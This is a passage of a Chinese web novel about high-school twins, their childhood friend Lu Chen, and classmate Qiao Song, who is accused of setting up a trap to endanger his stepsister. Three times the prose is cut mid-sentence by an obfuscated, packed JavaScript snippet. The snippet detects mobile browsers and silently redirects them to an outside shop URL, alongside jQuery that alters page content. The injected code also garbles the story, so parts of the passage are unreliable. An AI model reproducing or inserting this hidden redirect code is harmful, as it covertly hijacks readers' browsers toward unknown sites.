一墙之隔的夏家,夏晚正躲在卧室里偷偷给脚指甲涂指甲油,听到夏迟推门而入,吓的手一哆嗦,差点涂到脚背上,“你开门怎么都没声音啊,吓死我了,我还以为妈回来了。” “瞅你那点小胆吧。”夏迟放下书包,走到衣柜前开始换衣服,“你说你涂它干嘛,平时穿着袜子也看不到,涂了和没涂有啥区别。” 夏晚认认真真给小拇指刷好,看着十个红彤彤的脚趾甲,心满意足,“有区别啊,我自己知道涂了,我心里开心。” 她美滋滋的动了动脚趾,“好看吧,要不你也涂一个。” 夏迟当即拒绝,“我才不。” “是红色太显眼了吗?”夏晚怕把指甲油弄花,光脚踩地板,翘着脚趾,只有脚掌着地,鸭子似的一摇一摆走到她身边,伸手给她看,“要不这个颜色呢,喜欢吗?” 夏迟低头一看,就见夏晚的指甲也刷了指甲油,但是那种近乎透明的颜色,仔细看有一点淡淡的粉感,“你还真敢啊,等哪天让妈发现,看妈怎么骂你。” 夏晚:“我跟婷婷找了好久才发现的这个颜色,咱妈那个眼神肯定发现不了,再说了,你和陆尘天天捅捅咕咕的,我可比你俩安全多了。” “打住。”夏迟系好睡衣扣子,绕过夏晚回到自己床边坐下,“啥叫我和陆尘捅捅咕咕的?我俩捅咕啥了?” 夏晚:“不是吧,非要我说的那么直白吗?” 她悄悄打开卧室门,再次确认一遍家里只有她们姐俩,这才放心,“你和我老实交代,你俩是不是偷着处对象呢。” 夏迟:“没有。” 夏晚:“怎么可能,你俩要是没处对象,那你告诉我,你俩逃晚自习干嘛去了。” 这一下就涉及到了不可说的问题,夏迟抿着嘴巴表示沉默。 夏晚自认抓到了重点,“说不出来了吧。” 夏迟:“总之没有。” “还嘴硬。”夏晚坐到她的身边,“其实你也不用瞒我,就这几天,我已经感觉出来你俩有事了。” 他们三个从小一起长大,彼此之间没有太多的避讳,两岁以前甚至在一个澡盆里洗澡,但是进入青春期后性别意识逐渐显现,夏晚和陆尘自然而然的开始保持了距离,然而夏迟和陆尘却还像以前一样,打打闹闹搂搂抱抱,有次让杜司宇看到,杜司宇倒是没有多想,只是调侃他俩是不是奔着哥们处的。 夏晚不知道他们是真的没意识到这个问题,还是意识到后彼此心照不宣的还保持着以前的关系。不过对于夏晚而言,她觉得夏迟要真和陆尘在一起也挺好,毕竟双方知根知底相处起来也融洽。 夏迟:“跟你没话说,但我俩真没有。” 见她打死不松口,夏晚也没办法,“好吧,没处就没处,但要是哪天你俩真在一块了,记得第一个告诉我,我别的做不了,帮你俩打打掩护还是可以的。” 19. 第十九章 “有空在这儿纠结我和陆尘,不如好好处理一下你自己的事吧。” 今天忙了整整一天,又是上课又是装病又是写检讨的,夏迟脑袋昏昏涨涨,要不是夏晚提起这茬她差点把一件重要的事忘了。 夏迟让她把书包递给自己,拉开拉链,拿出语文书,抽出夹在里面的一个信封,“喏,你的情书。” 夏晚:“……又是谁啊?” 夏迟:“不认识,五班一男生,上午在走廊碰到的,让我务必把这封情书交给你。” 她和夏晚是双胞胎,但各个方面又都不太一样,长相、性格、兴趣爱好,俩人几乎没有什么共同点。尤其是进入青春期后,夏迟依旧留着短发,只不过这段时间懒得去剪头发,发梢才长到肩膀的位置。而夏晚则喜欢长发,但由于一中管的严,女生要么短发要么马尾,夏晚这才被迫将头发扎起来,可她始终觉得自己披散头发更好看,有时就以头绳坏了为理由放开马尾,只要老师不提醒,她就当这事不存在。 再加上稍显明艳的相貌性格也不差,学校里好多男生暗恋她,怕被老师发现,就将情书交给夏迟,让她晚上回家再转交。 夏晚拆开信封,满满一页的字不消一分钟就全部看完,然后按照原本的折痕折好,又塞回信封里面,“明天帮我转告他,谢谢他的喜欢,但很遗憾,我们不合适。” 夏迟:“你都没见过人家就说不合适。” 夏晚:“我都没见过他他就说喜欢我,这就合适了?” 夏迟:“……” ——好像有点道理。 见她这副不争气的样子,夏晚重重叹气,“老妹儿啊,你还小,有些事情你不懂。虽然我也很希望你能不被男人影响好好学习,但青春期嘛,对异性有好感这太正常了,所以我说,你如果真想处对象的话就找陆尘,你俩处起来我放心。” 说着,她打开自己那个带锁的抽屉,将这封情书连同其他的放在一起,合上,重新锁好,“你看看,你姐我从小学开始就有男生表白了,情书收了一抽屉,但他们之中有一个合适的吗?都是奔着我这张脸来的,我要是长得丑一点,你看他们还会不会送情书。” 夏迟:“……我亲爱的姐,我以前怎么没发现你这么睿智呢。” 夏晚:“我一直很清醒的好吧,我只是学习成绩不好,又不代表我脑子不好。今天我和你说的这些你得往心里去啊,男人就是嘴好,情书写了一大篇,有几个字是真心的?你可千万别被骗了。” 提到这些,夏迟不由得想起夏晚出事前和李桂梅大吵了一架,当时有个老师发现她疑似早恋,但没有当场抓住那个男生,韩途生问起这事的时候夏晚守口如瓶,哪怕最后被李桂梅拎回家骂了一顿,她仍然没有说出男生的名字。 夏迟忍不住想,这得是什么神仙男人啊,能让她人间清醒的姐姐咬紧牙关一个字都不说。 “别发呆了。”夏晚伸手推了一下她的肩膀,“我跟你说那么多你有没有往心里去啊,这都是经验教训,换了别人才不跟你说这么多呢。” 夏迟:“……哦,我记着呢。” “嗯,这才是我的好妹妹,吾心甚慰啊。”说完,她眼睛滴溜溜一转,贼兮兮的拉着夏迟在书桌前坐下,握住她的手,不停的摩挲,“哎呀,我妹妹什么都好,又懂事又听话,你看看,连手都这么好看,不涂点指甲油可惜了。” 夏迟:“滚滚滚,你自己双手双脚还不够啊,干嘛还要拉上我。” 夏晚:“因为这个月狮子座的幸运色是粉色,你涂一点,就能增加幸运值。” 夏迟:“你又买杂志了?!” 夏晚:“……嗯。” 她拉起自己的衣袖,左手腕上还有一条新买的粉水晶,“这个月开运的。” 夏迟两眼一黑,“大姐,你是不是忘了你上个月买这些玩意买到钱包见底,后半个月的零食还是我包的,说好了把钱还我的,钱呢?” “诶呀……”夏晚顿时苦脸,“咱姐俩关系这么好,还分什么你的我的……要不这样吧,这个月的衣服我全洗了,咱俩……嘿嘿……账目两清?” 夏迟:“呵呵……” 不过最后她还是没有逃过姐姐的撒娇攻势,只是毫无威慑力的说了一句“下不为例”,左手小指还被刷上了指甲油。 周日,夏晚约着徐婷婷去逛街,夏迟则拿着卷子去隔壁找陆尘写作业。 午后的阳光照在身上暖呼呼的,写完一张卷子后,夏迟懒洋洋的趴在桌上,感叹道:“能专心致志学习的感觉真好。” 那时因为各种各样的原因,夏迟只考了一个二本院校,周围人遗憾,她自己也很遗憾,如果可以的话,她真的希望时间能够回归此刻,能救下夏晚,同时也能改变自己的命运。 陆尘只当她还惦记凶手的事,没有多想,“都说了,下个月呢,不着急。” 他和夏迟写的同一张卷子,写完了最后一道大题,陆尘伸手去拿夏迟的卷子打算对对答案,结果目光却盯上了她的左手。 于是他手腕一转,直接抓住了夏迟的手,凑过去仔细看了片刻,“你什么时候开始涂指甲油了?嗯?团支书?” 一中校规明确写着不许染发烫发,指甲油也包含在内,夏迟作为团支书“知法犯法”,理应罪加一等。 但夏迟丝毫不怕,“校规还不让带随身听呢,班长。” 两位班干部成功拿捏了彼此,心照不宣的决定自动略过这一环节。 夏迟抬起左手,对着光线摆弄了几个角度,“夏晚说的没错,确实不太明显,你眼神不错啊,这都能看出来。” 陆尘:“挺明显的,你还是擦了吧,赶明儿再让老韩发现了。” 夏迟:“是吗,我其实看着还好,可能只涂了一个吧,对比其他指甲来说确实有区别,像夏晚那样全都涂上,估计就看不出来了。” 陆尘:“她也涂了?” 夏迟:“她自己涂完觉得不过瘾才拉着我一起的,昨天晚上吃饭那功夫,你俩不是一起洗的菜吗?你没看见?” 陆尘:“没注意。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12968014|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏迟:“好吧……” ——洗菜时候忙忙活活的,没注意倒也正常。 …… 眼看要到五月,一中校领导决定安排一场文艺汇演,既能让学生放松身心,也能提高班级的凝聚力。确定好时间与方案后,周六下午,便由广播通知各班文艺委员去办公室开会。 一班的文委是乔颂,开完会后他先去找了韩途生,传达了一下校领导的思想,顺便问了问班里要排什么节目。 在韩途生看来,文艺汇演是属于学生们的,应该让学生们放飞想象力,作为老师不应该干涉太多,于是将决定权交给了乔颂,说自己相信他,希望他能好好努力,同时也相信他能带领同学们完成一场出色的演出。 周日,乔颂起床后吃了几口早饭,便将自己关在了卧室里。 书桌上摆着一张演算纸,乔颂坐在桌前指尖夹着一根黑色中性笔,看着面前的白纸,心里乱糟糟的,一坐就是两三个小时。 最晚下周就要敲定节目,大合唱或者诗朗诵,彩排的时间地点以及需要的伴奏带,都是他要考虑的事。 偏巧这时到了上午十一点,乔雅从补习班回来,在客厅里打开电视看动画片,而乔颂的后妈马凤梅则在厨房准备一家人的午饭。 薄薄的一层门板根本挡不住外面的声音,切菜声混杂着动画片的声音不停的冲击着耳膜,乔颂头痛欲裂,根本没有心思思考。 因为乔雅之前偷喝过牛奶,这两天肚子还是不舒服,现在又在难受,抱着遥控器哼哼唧唧但又不敢告诉妈妈真相,只说是不小心着凉。 马凤梅赶紧关了火过去查看女儿的情况,眼角余光瞥向乔颂的房间,高声道:“天天看你那模样就来气,好吃好喝供着跟祖宗似的,结果呢,我落到什么好了?多的都指望不上你,啥啥都帮不上忙,我养你还不如养条狗。行了,别哽叽了,家里没药,自己买去吧。” 这些话清清楚楚传到乔颂耳中,他知道马凤梅表面上在骂乔雅,但这些话都是说给自己听的。 心里的烦躁越来越重,乔颂握紧手中的笔,无意识的在纸上狠狠划了一道,直接划开了一个口子,将白纸撕裂成两半。 电视的声音盖过了乔雅的说话声,乔颂不知道她说了什么,只知道在那之后,马凤梅又冷嘲热讽了好几句,但也没什么新意,无非是什么“白养你了”之类的话。 这些话乔颂听了好几年,已经渐渐变得麻木。 乔万年因为工作原因时常不回家,他不知道家里发生了什么,而另外三人倒是很有默契的在他面前保持着诡异的和谐。对于马凤梅而言,乔万年虽然是二婚还带着一个孩子,但已经是她能找到的最好的条件,她不敢在乔万年面前对乔颂怎样,只能在他不在家的时候用这种方式发泄内心的不满。 客厅里的叫骂声还在继续,乔颂深吸一口气,盖上笔帽,将作废的白纸揉成一团扔进脚下的垃圾桶中,带着笑脸推开了卧室的门。 “阿姨别生气了,妹妹肚子不舒服吗,我去给她买药吧。” 20. 第二十章 周一上午,利用第二节课下课的时间,乔颂在班里开了个小会,问了问同学们对文艺汇演的想法,然而大家对这事并不上心,和韩途生一样,只说这事交给乔颂安排就好,无论什么节目,大家都会无条件的支持。 乔颂太阳穴突突直跳。 他要是知道排什么就不用这么纠结了。 又熬过了小半天,下午体活课前,乔颂叫住了陆尘和夏迟,他自己实在顶不住了,他需要有人给点建议帮个忙。 男生打篮球,女生压马路,就连钟景明都出去找个安静的地方打游戏,等到上课铃打响,教室里只剩下了他们三个。 “我不行了。”乔颂的书桌上依旧摆着一张白纸,上面压着一支笔,“有没有什么好的建议?我实在想不出来了。” 夏迟想了想,“校领导不是要凝聚力吗,那就只能大合唱了啊。” 乔颂:“唱什么呢?” 夏迟戳了戳旁边的陆尘,“班长,别溜号了,给点意见。” 陆尘摘下耳机,被迫参与这场讨论,“《团结就是力量》《明天会更好》《保卫黄河》《让我们荡起双桨》,从小到大不都是这些吗?还有《众人划桨开大船》。” 乔颂:“咱年级二十个班呢,再加上高二,你说的这些经典曲目早被人挑没了。” 夏迟:“那有没有能用的流行歌曲,陆尘,你平时有听过吗?有没有什么合适的?” 陆尘:“或许有我们觉得合适的,但这个活动本质是给校领导看的,咱们觉得合适他们可不见得。” 夏迟:“倒也是,完事之后还有评比呢,肯定得按照他们的喜好来。” 乔颂:“我现在都不想评比的事,只想先把这事对付过去。” 夏迟绞尽脑汁很认真的在想,却见陆尘突然凑过来抓住了她的左手,“你干嘛?” “突击检查。”陆尘手指修长,轻松在她半握拳的掌心中挑出小拇指,左看右看,“挺听话的,还真擦了。” 夏迟:“废话,我可不像某人,身为班长还明知故犯,我很遵守校规校纪的。” 陆尘:“呵呵。” 目睹了全部的乔颂无奈用指尖敲了敲桌子,“咱们先把曲目定下来好不好,我还得抽空找音乐老师准备伴奏带呢,这周要是定不下来就晚了,到时候连礼堂都借不到,咱们都没地方排练。” 但没办法,经典曲目就那么多,他们也不能凭空变出来一个,别的班手快,先到先得。 外面上体活课的不止高一一班,两个班在篮球场撞见约了一场篮球赛,也不知道哪个班进球了,欢呼声加油声都传到了教室里。 “诶,有了。”夏迟突然站起来,按着陆尘的肩膀,几乎大半个身体都压在了他的身上,努力越过他去看外面的操场,“看来我记得没错,是高二的。” 陆尘被她挤在了窗台上,表情扭曲,“高二怎么了?不是,你先起来,窗台硌着我胳膊了。” 夏迟重新站好,拍拍手上的灰,“我认识一个高二学姐,消息可灵了,等我去问问她,看她知不知道其他班都准备的什么节目,没准就有灵感了啊,也没准运气再好一点,咱班还能捡个漏。” 陆尘:“你啥时候认识的,我咋不知道呢。” 夏迟:“嘿嘿,就不告诉你~行了,我走了,你俩再讨论讨论,最好在我回来前讨论出个结果,加油,拜拜~” 等她离开教室后,陆尘和乔颂各自看了对方一眼,同时陷入了沉默。 俩人只是做了大半年的同学,除了同为班干部以外也没什么共同话题,朋友圈也不一样,夏迟性格活泼,在的时候三个人还能聊上几句,现在他俩你看看我我看看你,都不知道该说点什么。 陆尘重新戴上耳机,决定等夏迟回来再说。 而乔颂这两天一直心事重重。 除了文艺汇演,还有那天二实验发生的事,就像一块大石头压在胸口,沉甸甸的透不过气。 他知道陆尘没有和自己说实话。 他和夏迟出现在二实验,肯定还有别的目的。 和乔雅有关,也和他自己有关。 乔颂看着陆尘的背影,几次想要开口,可已经过去的事,现在再次提起显得过于刻意,就在他绞尽脑汁思考解决方法时,陆尘却好像突然想到了什么,摘下一只耳机,回头看向他,“问你个事。” 乔颂:“你说。” 陆尘:“你妹妹这两天还好吗?” 乔颂万万没想到,陆尘居然还能主动提起这件事,他不知道对方究竟在想什么,硬着头皮回答道:“挺好的。” 陆尘:“那就好。” 乔颂:“你好像对她很关心?” 陆尘:“并不是,这是你家的家事,我有什么可关心的。说的难听一点,她死不死的都与我无关,根本不会影响到我,既然如此,我又为什么要关心。” 乔颂:“那你还问。” 陆尘:“问问而已,你也用不着这个表情,还有,既然不想被问,就管好自己的事,别给别人找麻烦。” 乔颂被他说的心头一股无名火起,“我好像没得罪过你吧,陆尘,我麻烦谁了,你这么针对我是什么意思?” 陆尘:“我是什么意思你心里明白,你妹妹到底为什么会坏肚子,还用我直说吗?如果那天我和夏迟不在,她会发生什么?乔颂,你想让她死。反正话都说到这儿了,那我就再猜一下,既然你有完整的计划,那凶手就不可能是校外人士,因为这样变数太大,而那天在校内的,除了军乐队的老师和学生,就只剩下门口那个打更大爷,我到二实验的时候他在频繁抬头看表,估计是知道乔雅外出的时间吧。” 这一次,乔颂陷入了长久的沉默。 他的确想杀了乔雅,因为某次回家,她发现乔雅进入他的房间偷偷翻出了他妈妈的金项链,那是妈妈的嫁妆,除此之外还有一枚戒指和一对耳环,都是纯金的,被乔颂锁在抽屉里好好保管。 以前乔雅就有进他屋子乱翻的毛病,他懒得管,但这一次,过往那些经历仿佛噩梦一般通通涌入脑中,钝刀子似的割着他的血肉。 他恨马凤梅,恨乔雅,也恨那个从来不管家的爸爸。 正巧那段时间,二实验附近曾经发生过一起飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12980809|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车抢劫,马凤梅担心女儿,自己没时间便让乔颂去接妹妹。在校门口等待的过程中,他发现那个打更大爷其实是个赌鬼,输的精光却又无法收手,一直在琢磨要上哪里搞点钱花。 而乔雅曾经在班里吹嘘自己戴过金项链,小孩子的嘴巴不严,一个传一个,于是打更大爷便知道了这件事。 乔颂其实根本不用亲自动手,他只需要创造出一个机会。 他知道乔雅嘴馋,但她和自己体质一样,只要喝牛奶就会肚子不舒服,所以马凤梅从来不给她买。 那天,乔颂买了几盒牛奶,就明晃晃的放在自己的书桌上,只要乔雅再进来乱翻东西就一定会看到。 做完这一切后,乔颂内心忐忑不安,但当时愤恨占据了上风冲溃了理智,他没有纠正自己的行为,反而眼睁睁的看着乔雅一步步走向自己设置好的陷阱。 如果不是夏迟和陆尘的突然出现,他的计划应该已经成功了。 但这一切,他不可能对陆尘承认,“都是你的猜测。” 陆尘:“那你怎么解释屋子里的牛奶。” 乔颂:“我不是一口都不能喝,偶尔也需要牛奶补充蛋白质,她有进屋翻东西的习惯,说了多少次都不改,要这么说的话,我才是那个受害者,被进屋子偷东西,还被冤枉成了杀人未遂。” 陆尘无所谓的笑笑,“或许你说得对,我确实没有证据,这个解释,你自己接受就好。” 突然被针对一遭,乔颂看着陆尘那张脸,莫名觉得讨厌,他几乎没经大脑思考立刻报复回去,“我当然会接受,只是我有一点想不通,那天你和夏迟被抓到的时候,你们是牵着手的,你们是在早恋吗?如果不是,陆尘,夏迟以后总是要交男朋友的,你是她发小,这没错,但她男朋友要是知道你总是三更半夜拉她出门,他心里会怎么想,我劝你还是从现在开始保持点距离吧,免得给自己找麻烦。” 原本带着笑的嘴角逐渐冰冷,陆尘甩开耳机,眼神几乎可以杀人。 “乔颂,你搞错了一个问题,我和她从小一起长大,在她生命的前二十年,每一个重要阶段都有我的影子。” “她看到路边的树,会想起四岁那年爬树掉下来崴了脚,是我把她背回的家。她看见路边的花,会想起我们翻过小花园的栅栏,学着电视剧里大人那样,躺在花丛中数着天上的星星。她看到天上的云,会想起换牙不许吃甜时,我拿零花钱偷偷给她买的棉花糖。” “而这些,都是那个所谓的男朋友从来没有陪她经历过的。” “哪怕有一天我们分开,她也永远无法忘记。” “她男朋友,永远都比不过我。” 听他说完,乔颂先是一怔,而后不知想到了什么,突然笑出了声。 看他这个样子陆尘莫名不爽,“有什么好笑的。” 乔颂摇了摇头,渐渐止住了笑,“陆尘,和你一起长大的不只是夏迟吧,如果有人和你提到夏晚未来的男朋友,你也会说刚才那些话吗?” 陆尘沉默。 忽然间,一阵风从窗口吹过,吹起桌上的卷子,也吹乱了少年的心事。 21. 第二十一章 体活课下课后,夏迟春风得意的回到教室,顺便给乔颂带来了一个好消息。 可能是大家都猜测别的班级会唱那些经典曲目,所以都绞尽脑汁的去选择其他的合唱歌曲,陆尘举例的那些反倒没有人唱。 得知此事的乔颂长出一口气,立刻去找负责此事的音乐老师,说一班的合唱曲目已经定下来了,就唱《团结就是力量》,希望老师能帮忙准备伴奏带,顺便约定了小礼堂的使用时间。 一班同学没有意见,反正唱什么都是唱,这首歌从小唱到大,歌词早就已经滚瓜烂熟,还省的再去背了。 大家不想占用宝贵的体活课时间,乔颂只好去和体育老师沟通,希望上课跑操之后能允许他们去小礼堂排练。体育老师被占课占出了习惯,情绪稳定早就见怪不怪,大手一挥便批准了他的申请。 周四下午,学校小礼堂—— 在校领导的安排下,各班已经抽调值日生将这里打扫了一遍,就连台上那两个巨大红色台幕都洗的干干净净重新挂好,散发着清爽的洗衣粉味道。 之前已经有班级在这里排练过,台上还有摆好的、供合唱时后排站着的木架子,现在只看他们想要怎么安排。 根据乔颂的设想,班里同学应该一共分成三排,女生最底下一排,男生最上面一排,中间则是男女混搭,女生站中间,男生站两侧。 但排着排着,乔颂突然发现一个问题,“女生怎么缺了个人,谁没来吗?” 被乔颂安排在二排中间、正低头看着自己新涂好指甲油的徐婷婷,闻言叹了口气,“还能是谁啊,孟欢欢呗,刚一下课我就看她跑十八班去了,这会儿不一定在哪儿浪呢。” 孟欢欢是一班的异类,平时只跟后面几个班的混子一块儿玩,班里活动从不参加,在一班口碑差人缘也差,要不是被乔颂发现少了人,谁都没有注意到她压根没来。 对此,乔颂也很无奈,“算了,下课后我去找她说,咱们别耽误时间,先练习。” 学校的伴奏磁带只有一张,上面录着所有班级的合唱伴奏,现在不知道被哪个班借走了还没还,他们只能先进行清唱练习。 乔颂本意是好的,安排的也没有问题,但大家唱着唱着总觉得有一个非常不和谐的声音。 “好像谁跑调了。” 杜司宇一米八五是班里男生最高的,理所应当站在了最后一排的中间位置,他右手边的钟景明已经要疯了,“乔颂,现在、立刻、马上给我换个地方!要不我就退出。” “为啥?”杜司宇憨憨的,一时摸不到头脑,“你这个身高还想换哪儿去啊?老实儿在这待着得了,还退出呢,好歹是个班干部,有没有点责任心。” 然而他左手边的陆尘也很崩溃,“你没听出来吗?杜司宇,你跑调都跑到姥姥家了。” 而且他不止自己跑调,他把他周围全都带跑调了,拉都拉不回来。 杜司宇挠头,满脸疑惑,“有吗?我觉得我唱的挺好的啊。” 周围顿时有了小小的哄笑声。 乔颂叹气,“大家先安静一下,杜司宇,你单独唱一句我听听。” 杜司宇:“团~结~~~就~是力量~” 周围同学:“噗——哈哈哈哈哈……” 乔颂:“……” 这是他们上高中之后第一次文艺汇演,以前没什么唱歌的机会,他根本不知道杜司宇跑调跑的这么离谱,但这是班级集体活动,他身为文艺委员,不能随便放弃任何一个同学,只能硬着头皮单独教,“这样,我唱一句你跟我唱一句。” 杜司宇信心满满,“OK~没问题。” 乔颂清清嗓子,“团~~结~就是力~量~” 杜司宇:“团~结~~~就~是力量~” 乔颂:“不对,你仔细听我的音,团~结~~~” 乔颂:“……” “哈哈哈哈哈~”一班同学爆笑,“杜司宇你太牛逼了,你把小乔也带跑调了哈哈哈哈哈……” 罪魁祸首的某人丝毫没有悔意,跟着哈哈哈一起笑,“是吗,那我确实挺牛逼的哈哈哈哈哈。” 乔颂深吸一口气,努力让自己冷静下来。虽然他觉得进入四月份后,自己简直流年不利没一件好事,可也不能现在就崩掉。 但杜司宇真的太愁人了。 礼堂一角有一架立式钢琴,已经摆在这里很多年了,没人调稍稍有点走音,可跟杜司宇相比简直音准无敌。 为了避免自己再被带跑调,乔颂从台上跳下,来到钢琴前坐好,“杜司宇,忘掉你自己的唱法,跟着钢琴的节奏来。” 说着,便熟练的弹出一段流利的乐章。 这年代能学的起钢琴的家庭不多,他们见乔颂居然还有这种隐藏技能,看的眼睛都直了,“我靠,小乔厉害啊,这玩意都会弹。” 乔颂没所谓的笑笑,“小时候学过一段时间。” 人与人的差别就是这么大,乔颂唱歌跳舞弹钢琴样样都会,杜司宇却连音准都找不到,最终一节课下来,乔颂崩溃了,杜司宇崩溃了,全班同学都崩溃了。 钟景明犹如魔音灌耳,被折磨的脑瓜子里面嗡嗡直响,“杜司宇,你要不这样,到时上台你就别出声,干嘎巴嘴就行。” 杜司宇:“那多不好……” 钟景明:“哪儿不好了你说啊?!” 杜司宇:“……” 他觉得钟景明现在被折磨的非常暴躁,再多说一句话,可能就要打人了。 还有五分钟下课,乔颂心累的让大家解散,他得最后走,收拾好礼堂锁好门,再把钥匙还给音乐老师。 但没想到夏迟也留了下来。 夏迟:“最近怎么样?” 这个问题和陆尘曾经问过的如出一辙,可或许是那天分别时的喊话,乔颂对夏迟问出的问题并没那么反感。 乔颂:“还好,怎么了?” 夏迟:“没怎么,就是……关心关心。” 眼见乔颂忙着手上的事没再说话,夏迟靠在舞台边上,看着那架钢琴,建议道:“要不咱们换个伴奏吧,你和老师申请一下,当天不用伴奏带,你弹钢琴给大家现场伴奏。” 乔颂:“为什么呢?” 夏迟:“文艺汇演说大不大说小不小,但也是个很好的展示机会,你是学舞蹈的,要不是这次主题不合适,我都想建议你上去个人独舞呢。” 乔颂:“我只是以前学过舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12997120|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹈。” 他的妈妈沈娴年轻时学过舞蹈,在他出生后,妈妈去世,爸爸又忙着工作不着家,乔颂的童年都是在姥姥姥爷家度过的。 或许是为了怀念女儿,或许是觉得外孙有这个天赋,老两口给他报了舞蹈班,白天学写字学算术学舞蹈,晚上有姥姥姥爷陪着玩,这是乔颂人生中最快乐的一段时光。 可后来乔万年又娶了马凤梅,便将他接回了家里,马凤梅不想给他出钱学这种没用的东西,但又找不到借口,直到乔雅出生,她便一点点减少乔颂在这方面的投入,后来更以乔雅上学家里经济紧张为理由,彻底停了他的舞蹈班。 曾经的少年宫是他最熟悉的地方,而现在,每当路过他也只能浅浅看一眼,然后离开。 夏迟当然知道他说的什么意思,“可你有天赋,乔颂,即便你落下两三年,也依然比其他人强,你天生就是属于舞台的,千万别放弃自己。” 乔颂:“谢谢你的夸奖。” 每当提起这些,他的内心五味杂陈,有时甚至不敢去想有关舞蹈的任何事,可那天夏迟对他的喊话又让他非常在意,现在这里没有别人,乔颂整理完毕,看还有一点时间,忍不住问道:“你说我未来星途璀璨前途无量,为什么?” 夏迟:“因为你没有放弃舞蹈也没有放弃你自己。我知道你现在有很多阻力,但那都只是暂时的,只要熬过去,未来没有任何人能够束缚你。” 乔颂:“是吗,这些……你是怎么知道的?” 夏迟:“我说我做梦梦到的,你信吗?” 乔颂:“我信,可以和我说说你的那个梦吗?” 夏迟沉默了一瞬。 高考那年,乔颂没能填报舞蹈专业,虽然在大学社团里积极参加活动,但夏迟觉得那个舞台对乔颂而言实在太小了,他就该站在顶尖的舞台上光芒万丈,接受所有人的掌声。 然而乔颂却再没有了这个机会,他签约进了娱乐公司,哪怕在外人眼中这是个无比光鲜亮丽的职业,可夏迟始终觉得,乔颂心里是有遗憾的。 如果时间能退回到高考前,如果乔颂可以重新选择,他一定会义无反顾的选择自己深爱的舞蹈专业,哪怕前路一片荆棘,他也能够凭借着满腔热爱一步步迈向那个顶尖的舞台。 于是夏迟说了个谎,“当然,我梦到你始终坚持着自己的热爱,大学选择了自己喜欢的舞蹈专业,后来又被导演看中进入演艺圈当了大明星,你有好多观众,被好多好多人喜欢。” 乔颂:“然后呢,我做了大明星之后,还有继续跳舞吗?” 夏迟:“必须的啊,舞蹈才是你最最喜欢的,我在梦里问你是不是以后就往拍戏方面发展了,你说这只是工作的一部分,你最热爱的还是舞蹈,你想在这方面继续深造,你想成为一个真正的舞蹈家。” 舞蹈家三个字离现在的乔颂太过遥远,是他想都不敢想的事,可不知道为什么,从夏迟的嘴里说出来,他竟也忍不住去幻想那个虚无缥缈的未来。 “真是一个美梦啊。”乔颂喃喃,“美到我都不敢相信。” 下课铃打响,夏迟走到他身边,看着他的眼睛认真道:“你相信我,只要你肯坚持,所有美梦都会成真的。” 22. 第二十二章 在乔万年和马凤梅结婚的前两年,乔颂讨厌家里的氛围,还时不时的往姥姥家跑,但等后来长大一点,他看出马凤梅并不喜欢这种行为,为了避免吵架与矛盾,他便刻意减少了去姥姥家的次数,只在逢年过节才去坐坐。 可最近发生的事情太多,再加上夏迟和他说的那些话,他突然想去姥姥家看看,至于为什么他也说不清楚,他只知道自己脑袋里面乱糟糟的,各种各样的问题糅杂在一起,或许去那里坐坐就能找到属于自己的答案。 周末,当沈青松打开门看见自己的外孙时,和气的脸上笑成一团,“老婆子,咱们乖孙来咯。” 听到声音的沈寻芳立刻下地穿鞋从卧室里走出,笑眯眯的拉着乔颂上下打量,“姥姥怎么见着又长高了呢。” “是啊,因为天天吃得好睡得好。”乔颂难得露出真心的笑,“长高了一厘米呢。” 沈寻芳:“有一米八了吧。” 乔颂:“正正好好一米八。” 沈寻芳笑的眼睛眯成一条线,眼角的皱纹给她增添了几分慈祥,“那可好,长高了好啊,长的高高壮壮才好呢,老头子,你去市场买条鱼回来,今儿个给咱们乖孙补一补,等到了十八岁再往上窜一窜。” 客厅里电视开着,正播着午间新闻,沈青松出门后,沈寻芳亲切的拉着乔颂在沙发上坐下,将遥控器塞给他,“想看什么自己播,姥姥记得你小时候最爱看那个什么动画片,是哪个台来着?” 然而那个动画片早就停播了,沈寻芳不知道这些,只想着外孙难得来一次,一定要让他开开心心的。 “不看了,都多大了还看动画片。”乔颂放下遥控器,从茶几上拿起一个橘子,剥好放到沈寻芳手中,“等一会儿我陪你听评书。” 午间新闻结束后便是《电视书场》,会播放单田芳、田连元等大师的评书,再加上《曲苑杂坛》,自打开播后都是沈寻芳最喜欢的节目。 听到外孙这么说,沈寻芳笑意更深,摸着乔颂的手感慨道:“我乖孙真是长大了啊。” 看着姥姥满头银发和枯燥的手背,乔颂心头酸涩,把手覆上去后撒娇道:“可不是吗,明年就要十八了,十八岁,都成年啦。” “哎呀,时间过得真快啊。”沈寻芳道:“当年还那么大一丁点,天天围着我转叫姥姥抱抱,现在一晃儿都是大小伙子了。” 